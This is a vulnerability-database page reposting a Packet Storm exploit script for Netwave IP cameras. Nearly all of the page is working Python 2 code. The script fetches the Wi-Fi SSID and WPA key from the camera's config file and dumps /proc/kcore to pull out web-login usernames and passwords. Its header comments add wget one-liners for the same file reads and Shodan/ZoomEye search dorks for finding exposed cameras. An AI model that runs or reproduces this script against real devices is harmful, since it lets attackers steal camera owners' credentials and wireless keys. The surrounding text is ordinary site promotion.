Lucene search
K

Netwave IP Camera Password Disclosure

🗓️ 03 Feb 2017 00:00:00Reported by spiritnullType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 62 Views

Netwave IP Camera Password Disclosur

Code
`#!/usr/bin/python2.7  
##  
## spiritnull(at)sigaint.org  
##  
## Run the exploit against the victim to get WIFI password  
## If the victim is vulnerable to memory leak it will try to extract the username and password for the weblogin  
##  
## magic for you bash:  
## wget -qO- http://[HOST]:[PORT]//proc/kcore | strings  
## wget -qO- http://[HOST]:[PORT]//etc/RT2870STA.dat  
## wget -qO- http://[HOST]:[PORT]//dev/rom0  
## wget -qO- http://[HOST]:[PORT]/get_status.cgi  
##  
## shodan dork:  
## "Server: Netwave IP Camera"  
##  
## zoomeye dork:  
## Netwave IP camera http config  
##  
  
  
  
import sys,os,time,tailer  
import urllib2  
import subprocess  
import signal  
from threading import Thread  
  
try:  
if sys.argv[1] == "-h" or sys.argv[1] == "--help":  
print "Usage: python pownetwave.py [HOST]:[PORT]"  
print "Example: python pownetwave.py 127.0.0.1:81"  
sys.exit(0)  
  
else:  
pass  
except IndexError:  
print "Usage: python pownetwave.py [HOST]:[PORT]"  
print "Example: python pownetwave.py 127.0.0.1:81"  
sys.exit(0)  
  
def signal_handler(signal, frame):  
print('\nclearing up..')  
os.system("rm -rf tmpstream.txt")  
os.system("rm -rf tmpstrings.out")  
os.system("killall -9 wget")  
os.system("killall -9 tail")  
sys.exit(0)  
  
signal.signal(signal.SIGINT, signal_handler)  
  
macaddr = ""  
done = 0  
linecount = 0  
  
  
class bcolors:  
HEADER = '\033[95m'  
OKBLUE = '\033[94m'  
OKGREEN = '\033[92m'  
WARNING = '\033[93m'  
FAIL = '\033[91m'  
ENDC = '\033[0m'  
BOLD = '\033[1m'  
UNDERLINE = '\033[4m'  
  
  
print "getting system information.."+sys.argv[1]  
response = urllib2.urlopen('http://'+sys.argv[1]+'/get_status.cgi')  
xcontent = response.read().split(";\n")  
for line in xcontent:  
if line.startswith("var id="):  
line = line.split("'")  
macaddr = line[1]  
else:  
pass  
  
  
print "victims MAC-ADDRESS: "+bcolors.OKGREEN+str(macaddr)+bcolors.ENDC  
print "getting wireless information.."  
  
  
try:  
resp = urllib2.urlopen("http://"+sys.argv[1]+"//etc/RT2870STA.dat")  
xcontent = resp.read().split("\n")  
print "victims wireless information.."  
for line in xcontent:  
if line.startswith("WPAPSK") or line.startswith("SSID"):  
print "\t\t"+bcolors.OKGREEN+str(line)+bcolors.ENDC  
else:  
print "\t\t"+str(line)  
except:  
print "wireless lan is disabled.."  
  
  
print "checking for memory dump vulnerability.."  
  
  
try:  
urllib2.urlopen('http://'+sys.argv[1]+'//proc/kcore')  
except:  
print bcolors.FAIL+"victim isnt vulnerable for a memory leak, exiting.."+bcolors.ENDC  
sys.exit(0)  
  
  
print "starting to read memory dump.. "+bcolors.WARNING+"this could take a few minutes"+bcolors.ENDC  
proc = subprocess.Popen("wget -qO- http://"+sys.argv[1]+"//proc/kcore > tmpstream.txt", shell=True, preexec_fn=os.setsid)  
os.system('echo "" >tmpstrings.out')  
time.sleep(1)  
proc2 = subprocess.Popen("tail -f tmpstream.txt | strings >>tmpstrings.out", shell=True, preexec_fn=os.setsid)  
print bcolors.BOLD+"hit CTRL+C to exit.."+bcolors.ENDC  
  
  
while 1:  
sys.stdout.flush()  
if os.stat('tmpstrings.out').st_size <= 1024:  
sys.stdout.write("binary data: "+str(os.stat('tmpstream.txt').st_size)+"\r")  
else:  
sys.stdout.flush()  
print "strings in binary data found.. password should be around line 10000"  
for line in tailer.follow(open('tmpstrings.out','r')):  
sys.stdout.flush()  
if done == 0:  
linecount+= 1  
if line == macaddr:  
sys.stdout.flush()  
done = 1  
print bcolors.OKGREEN+"\n\nmac address triggered.. printing the following dumps, could leak username and passwords.."+bcolors.ENDC  
else:  
sys.stdout.write(str(linecount)+"\r")  
elif done == 1:  
done = 2  
print "\nfirstline.. "+bcolors.OKGREEN+line+bcolors.ENDC  
elif done == 2:  
done = 3  
print "possible username: "+bcolors.OKGREEN+line+bcolors.ENDC  
elif done == 3:  
done = 4  
print "possible password: "+bcolors.OKGREEN+line+bcolors.ENDC  
elif done == 4:  
done = 0  
print "following line.. \n\n"+bcolors.OKGREEN+line+bcolors.ENDC  
else:  
pass  
  
  
signal.pause()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Feb 2017 00:00Current
0.6Low risk
Vulners AI Score0.6
62